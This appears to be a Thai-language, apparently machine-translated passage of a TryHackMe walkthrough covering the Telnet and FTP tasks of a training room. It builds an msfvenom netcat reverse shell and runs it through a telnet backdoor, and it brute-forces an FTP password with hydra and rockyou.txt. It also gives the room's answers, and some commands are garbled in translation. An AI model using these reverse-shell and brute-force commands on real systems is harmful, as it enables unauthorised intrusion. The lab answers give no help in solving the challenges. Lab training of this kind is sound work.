อืม...ก็แปลกนะ ตรวจสอบเพื่อดูว่าสิ่งที่เรากำลังพิมพ์กำลังดำเนินการเป็นคำสั่งระบบหรือไม่
ไม่ต้องการคำตอบ คลิกเสร็จสิ้น
คำถามที่ 5
เมื่อเห็นว่าคำสั่งทั้งหมดของคุณถูกส่งไปยังความว่างเปล่า การปิดการเชื่อมต่อนี้จึงเป็นเรื่องยากเล็กน้อย หากต้องการได้รับแจ้งให้เปลี่ยนเป็นสิ่งที่มีประโยชน์ ให้กด ctrl + ]
นั่นคือการควบคุมและคีย์วงเล็บเหลี่ยมขวาพร้อมกัน ซึ่งควรเปลี่ยนพรอมต์ของคุณเป็น telnet>
จากนั้นพิมพ์ close
และกด Enter ตอนนี้คุณควรกลับมาที่พร้อมท์ตามปกติ หรือหากคุณต้องการ คุณสามารถปล่อยให้เซสชันเทลเน็ตเชื่อมต่ออยู่และเปิดแท็บ/หน้าต่างใหม่เพื่อเรียกใช้ tcpdump ต่อไปนี้
เริ่มฟัง tcpdump บนเครื่องของคุณ
ผู้ฟัง tcpdump จะตรวจสอบอินเทอร์เฟซที่เลือกสำหรับการรับส่งข้อมูล จากนั้นบันทึกการรับส่งข้อมูลนั้นบนหน้าจอ คุณจะเริ่มต้นแล้วปล่อยให้มันทำงานในแท็บ/หน้าต่างของตัวเอง
หากใช้เครื่องของคุณเองด้วยการเชื่อมต่อ OpenVPN ให้ใช้:
sudo tcpdump ip โปรโต icmp -i tun0
หากใช้ AttackBox ให้ใช้:
sudo tcpdump ip โปรโต icmp -i eth0
สิ่งนี้จะเริ่มต้นฟัง tcpdump โดยฟังการรับส่งข้อมูล ICMP อย่างชัดเจนซึ่งส่ง Ping อยู่
ความแตกต่างระหว่างทั้งสองคืออินเทอร์เฟซเครือข่าย บนกล่อง Linux ในพื้นที่ของคุณ คุณควรใช้ tun0 ซึ่งเป็นอุปกรณ์ทันเนลที่ควรเป็นการเชื่อมต่อ OpenVPN แต่อย่าพูดถึงฉันในเรื่องนี้ คุณอาจต้องเรียกใช้ sudo ifconfig
เพื่อพิจารณาว่าควรใช้อินเทอร์เฟซใด
ไม่ต้องการคำตอบ คลิกเสร็จสิ้น
คำถามที่ 6
สำหรับคำถามนี้ เราจะใช้เซสชันเทลเน็ตอีกครั้ง หากคุณยังคงเปิดอยู่ก็เยี่ยมมาก หากไม่เป็นเช่นนั้น ให้เปิดแท็บ/หน้าต่างใหม่และเชื่อมต่อกับเครื่องอีกครั้งโดยใช้ขั้นตอนเดียวกันจากด้านบน โปรดทราบว่าคุณจะต้องมีที่อยู่ IP ของระบบที่คุณกำลังทำงานอยู่ ไม่ว่าจะเป็น Attack Box, Kali Machine หรือระบบภายในเครื่องของคุณสำหรับคำถามนี้
คำถามนี้ให้เรารันคำสั่ง ping ผ่านเซสชัน telnet เราจะเข้าสู่ .RUN ping {Local IP Address} -c 1
นั่นจะส่ง 1 ping จากโฮสต์ระยะไกลไปยังเครื่องของเรา หากคุณสามารถแสดงหน้าต่างทั้งสองพร้อมกันได้ คุณจะเห็นสิ่งที่เกิดขึ้นในขณะนั้น
ตอนนี้ ให้ใช้คำสั่ง “ping [local THM ip] -c 1” ผ่านเซสชัน telnet เพื่อดูว่าเราสามารถดำเนินการคำสั่งของระบบได้หรือไม่ เราได้รับ Ping บ้างไหม? หมายเหตุ คุณต้องนำหน้าด้วย .RUN (Y/N)
คุณควรเห็นทั้งคำขอ ping และการตอบกลับ ping บนแท็บของคุณด้วย tcpdump Listener
ย
คำถามที่ 7
ยอดเยี่ยม! ซึ่งหมายความว่าเราสามารถดำเนินการคำสั่งของระบบและเราสามารถเข้าถึงเครื่องของเราได้ ตอนนี้มาสนุกกันเถอะ!
ไม่ต้องการคำตอบ คลิกดำเนินการต่อ
คำถามที่ 8
สำหรับคำถามนี้ คุณจะปล่อยให้เซสชันเทลเน็ตดำเนินต่อไปและป้อนข้อมูลนี้ในแท็บ/หน้าต่างอื่น คุณสามารถกด ctrl + c
เพื่อยุติการฟัง tcpdump และใช้หน้าต่างนั้น เราไม่ต้องการ tcpdump อีกต่อไป รันคำสั่งด้านล่างด้วยที่อยู่ IP ของระบบภายในเครื่องของคุณที่เสียบอยู่ในวงเล็บ แต่ปล่อยวงเล็บออก เมื่อคุณกด Enter คำสั่งจะใช้เวลาสักครู่เพื่อสร้างเพย์โหลด จากนั้นจึงพิมพ์ออกมาบนหน้าจอ
เราจะสร้างเพย์โหลดเชลล์แบบย้อนกลับโดยใช้ msfvenom สิ่งนี้จะสร้างและเข้ารหัส netcat Reverse Shell ให้เรา นี่คือไวยากรณ์ของเรา:
"msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R"
-p = payload lhost = ที่อยู่ IP ของ localhost ของเรา (นี่คือที่อยู่ IP ของเครื่องของคุณ) lport = พอร์ตที่จะฟัง (นี่คือพอร์ตบนเครื่องของคุณ) R = ส่งออก payload ในรูปแบบ raw
เพย์โหลดที่สร้างขึ้นเริ่มต้นด้วยคำใด
เอ็มเคฟิโฟ
คำถามที่ 9
สมบูรณ์แบบ. เราเกือบจะถึงที่นั่นแล้ว ตอนนี้สิ่งที่เราต้องทำคือเริ่มฟัง netcat บนเครื่องของเรา เราทำสิ่งนี้โดยใช้:
"nc -lvp [พอร์ตการฟัง]"
คำสั่งจะมีลักษณะอย่างไรสำหรับพอร์ตการฟังที่เราเลือกไว้ในเพย์โหลดของเรา
nc -lvp 4444
คำถามที่ 10
ยอดเยี่ยม! ตอนนี้มันกำลังดำเนินอยู่ เราจำเป็นต้องคัดลอกและวางเพย์โหลด msfvenom ของเราลงในเซสชัน telnet และรันเป็นคำสั่ง หวังว่า- นี่จะทำให้เรามีเปลือกบนเครื่องเป้าหมาย!
โปรดจำไว้ว่าเพื่อให้คำสั่งทำงานในเซสชัน telnet คุณต้องมี .RUN ที่จุดเริ่มต้น
ไม่ต้องการคำตอบ คลิกเสร็จสิ้น
คำถามที่ 11
ความสำเร็จ! เนื้อหาของ flag.txt คืออะไร?
หาก Reverse Shell ใช้งานได้ คุณจะเห็นข้อความ “เชื่อมต่อกับ [10.10.xx] จาก ip ฯลฯ…” ใต้ netcat Listener
จากนั้นคุณสามารถป้อนคำสั่งตามปกติและส่งไปยังระบบระยะไกลได้
ฉันขอแนะนำให้เริ่มต้นด้วย ls
เพื่อดูว่ามีไฟล์ใดบ้าง และคุณควรจะสามารถเข้าใจส่วนที่เหลือได้ เนื่องจากคุณได้จับ Flag เช่นนี้มาก่อนแล้ว
นี่เป็นการสรุปส่วนของ Telnet ดังนั้น ให้ยุติ Active Machine ปัจจุบัน กระโดดลงไปที่ Task 9 เริ่มต้นเครื่องนั้น จากนั้นกลับสู่ Task 8
FTP, โปรโตคอลการถ่ายโอนไฟล์ ตามชื่อ มันถูกใช้เพื่อถ่ายโอนไฟล์ผ่านเครือข่าย FTP ปกติล้าสมัยและถูกแทนที่ด้วยมาตรฐานที่แตกต่างกันและปลอดภัยกว่าสองสามรายการ FTPS คือ FTP ผ่าน TLS ดังนั้นพอร์ตเริ่มต้นจึงยังคงเป็น 21 เช่นเดียวกับ FTP อีกอันคือ SFTP ซึ่งเป็น Secure File Transfer Protocol และใช้ SSH ดังนั้นพอร์ตเริ่มต้นคือ 22
คำถามที่ 1
FTP ใช้รูปแบบการสื่อสารแบบใด
ไคลเอนต์เซิร์ฟเวอร์
คำถามที่ 2
พอร์ต FTP มาตรฐานคืออะไร
21
คำถามที่ 3
การเชื่อมต่อ FTP มีกี่โหมด?
2
เราจะทำงานร่วมกับไคลเอนต์ FTP หากต้องการตรวจสอบอีกครั้งว่าคุณได้ติดตั้งไคลเอนต์ FTP ไว้ในระบบของคุณแล้ว คุณสามารถป้อน ftp
และคุณควรจะเข้าสู่พรอมต์ ftp>
ถ้าไม่เช่นนั้น สิ่งที่คุณควรทำคือติดตั้งผ่าน sudo apt install ftp
คำถามที่ 1
เราจะใช้ Nmap อีกครั้งเพื่อระบุเซิร์ฟเวอร์ FTP นี้ เมื่อพิจารณาคำถามต่อไปนี้ คุณจะต้องการข้อมูลมากกว่าที่คุณจะได้รับจากการสแกนขั้นพื้นฐาน ดังนั้นฉันจึงใช้ nmap {Active Machine IP Address} -A -p-
เครื่องเป้าหมายเปิดกี่พอร์ต?
คำถามนี้ค่อนข้างแปลกเล็กน้อย เมื่อดูคำตอบที่ถูกต้องของฉันขณะที่ฉันวิ่งผ่านห้องนี้ มันบอกว่า 2 การสแกนเมื่อกี้นี้แสดงว่ามีเพียงพอร์ต 21 เท่านั้นที่เปิดอยู่ ฉันขอแนะนำให้เริ่มต้นด้วย 1 และหากไม่ได้ผลให้พูด 2
คำถามที่ 2
FTP ทำงานบนพอร์ตใด
21
คำถามที่ 3
FTP รุ่นใดที่ทำงานอยู่
vsftpd
คำถามที่ 4
เยี่ยมมาก ตอนนี้เรารู้แล้วว่าเซิร์ฟเวอร์ FTP ประเภทใดที่เรากำลังติดต่อกับ เราสามารถตรวจสอบเพื่อดูว่าเราสามารถเข้าสู่ระบบเซิร์ฟเวอร์ FTP โดยไม่เปิดเผยตัวตนได้หรือไม่ เราสามารถทำได้โดยพิมพ์ ftp [IP]
ลงในคอนโซลแล้วป้อน "ไม่ระบุชื่อ" และไม่มีรหัสผ่านเมื่อได้รับแจ้ง
ชื่อของไฟล์ในไดเร็กทอรี FTP ที่ไม่ระบุชื่อคืออะไร?
PUBLIC_NOTICE.txt
คำถามที่ 5
สำหรับคำถามนี้ คุณจะต้องใช้คำสั่ง get
อีกครั้ง เช่นเดียวกับ Telnet เข้าสู่ get PUBLIC_NOTICE.txt
ไฟล์นี้จะดาวน์โหลดไฟล์ลงในระบบของคุณเพื่อให้คุณสามารถดูเนื้อหาได้ คุณไม่จำเป็นต้องเชื่อมต่อกับเซิร์ฟเวอร์ FTP อีกต่อไป ดังนั้นให้เข้าสู่ exit
เพื่อกลับสู่พรอมต์มาตรฐานของคุณ
ตอนนี้ คุณจะต้องค้นหาไฟล์ที่คุณเพิ่งดาวน์โหลด สำหรับเครื่อง Kali ที่ใช้เบราว์เซอร์ ระบบจะทิ้งลงในไดเร็กทอรีรากของคุณ ควรอยู่ในไดเร็กทอรีเดียวกันกับไฟล์ที่คุณได้รับระหว่างงานเทลเน็ต
เมื่อคุณพบมันในระบบของคุณแล้ว ก็ถึงเวลาอ่านมัน นำทางไปยังโฟลเดอร์ที่อยู่ในนั้นหรือป้อนเส้นทางไฟล์ทั้งหมดโดยใช้คำสั่ง cat
cat PUBLIC_NOTICE.txt
และดูว่าคุณสามารถดูข้อมูลใดๆ ที่อาจเป็นประโยชน์สำหรับเราได้หรือไม่ สิ่งที่อาจเป็นชื่อผู้ใช้บางที?
เราคิดว่าชื่อผู้ใช้ที่เป็นไปได้อาจเป็นอะไร?
ไมค์
คำถามที่ 6
ยอดเยี่ยม! ตอนนี้เรามีรายละเอียดเกี่ยวกับเซิร์ฟเวอร์ FTP และที่สำคัญคือชื่อผู้ใช้ที่เป็นไปได้ มาดูกันว่าเราสามารถทำอะไรได้บ้าง...
ไม่ต้องการคำตอบ คลิกเสร็จสิ้น
สำหรับงานเฉพาะนี้ เราจะใช้ชื่อผู้ใช้ mike
ที่เรารู้อยู่แล้ว และพยายามบังคับใช้รหัสผ่านของเขาอย่างดุร้าย นี่คือที่มาของไฟล์ rockyou.txt
มันเป็นรายการรหัสผ่าน หากคุณใช้ระบบโลคัลของคุณเอง จำไว้ว่าคุณดาวน์โหลดมาจากที่ไหนและใช้เป็นเส้นทางของไฟล์ เครื่องมือที่เราจะใช้เรียกว่าไฮดรา ไฮดราสามารถรับรายการรหัสผ่านและลองใช้กับระบบเพื่อดูว่าใช้งานได้หรือไม่
หน้า TryHackMe มีรายละเอียดไวยากรณ์ที่เราจะใช้สำหรับการโจมตีครั้งนี้อย่างละเอียด ฉันขอแนะนำให้อ่านมันมาก
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
เส้นทางไฟล์ของคุณอาจแตกต่างกันไปขึ้นอยู่กับระบบที่คุณใช้ นอกจากนี้ หากคุณใช้เครื่อง Kali ที่ใช้เบราว์เซอร์ คุณจะมีขั้นตอนเพิ่มเติม บนเครื่อง Kali รายการคำจะถูกบีบอัดเป็นไฟล์ GZ เราจำเป็นต้องแตกไฟล์มัน ในเทอร์มินัลของคุณ ให้ป้อน gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
หลังจากนั้นสักครู่ คุณจะมีไฟล์ที่ไม่มีการบีบอัดที่คุณต้องการ
หากต้องการค้นหารหัสผ่านที่ถูกต้อง คุณจะต้องป้อน hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
หากทุกอย่างสำเร็จ คุณควรแสดงรหัสผ่านเป็นรายการสุดท้ายในรายการ
รหัสผ่านสำหรับผู้ใช้ “ไมค์” คืออะไร?
คุณสามารถหาสิ่งนี้ได้จากเอาต์พุตของไฮดรา
คำถามที่ 2
บิงโก! ตอนนี้ เรามาเชื่อมต่อกับเซิร์ฟเวอร์ FTP ในฐานะผู้ใช้รายนี้โดยใช้ “ftp [IP]” และป้อนข้อมูลรับรองเมื่อได้รับแจ้ง
ตอนนี้กำลังจะเข้าสู่ระบบโดยใช้ข้อมูลประจำตัวที่เราค้นพบใหม่
ป้อน ftp {Your Active Machine IP Address}
จากนั้นป้อน mike
เป็นชื่อผู้ใช้และคำตอบจากคำถามก่อนหน้าเป็นรหัสผ่าน ตอนนี้คุณควรมีพรอมต์ ftp>
ไม่ต้องการคำตอบ คลิกเสร็จสิ้น
คำถามที่ 3
ใช้ ls
เพื่อดูเนื้อหาของไดเร็กทอรี สองไฟล์ที่นี่ .txt น่าจะเป็นไฟล์ที่มนุษย์สามารถอ่านได้ ใช้คำสั่ง get
เพื่อดาวน์โหลดลงในระบบของคุณ เมื่อคุณทำขั้นตอนนี้มาสองสามครั้งแล้ว คุณควรจะสามารถค้นหาไฟล์และดูเนื้อหาในไฟล์ได้ หากคุณประสบปัญหา คุณสามารถเลื่อนขึ้นและค้นหาคำแนะนำจากงานอื่นๆ ได้
ftp.txt คืออะไร?
ยินดีด้วย! คุณได้ยึดธงที่สามของคุณและทำกิจกรรมส่วนต่างๆ ของห้องสำเร็จแล้ว! เยี่ยมมาก!
งานนี้นำเสนอสถานที่บางส่วนในการตรวจสอบเพื่ออ่านหัวข้อที่เกี่ยวข้องเพิ่มเติม
ไม่ต้องการคำตอบ คลิกเสร็จสิ้น
คุณผ่านห้องนี้มาได้ดีมาก มันอาจจะดูน่ากลัวในตอนแรก อาจจะเป็นเรื่องง่าย แต่คุณทำได้
ขอขอบคุณ Polomints ที่สร้างห้องนี้ขึ้นมาและ TryHackMe ที่ได้รวบรวมเว็บไซต์ที่ยอดเยี่ยมนี้ไว้ด้วยกัน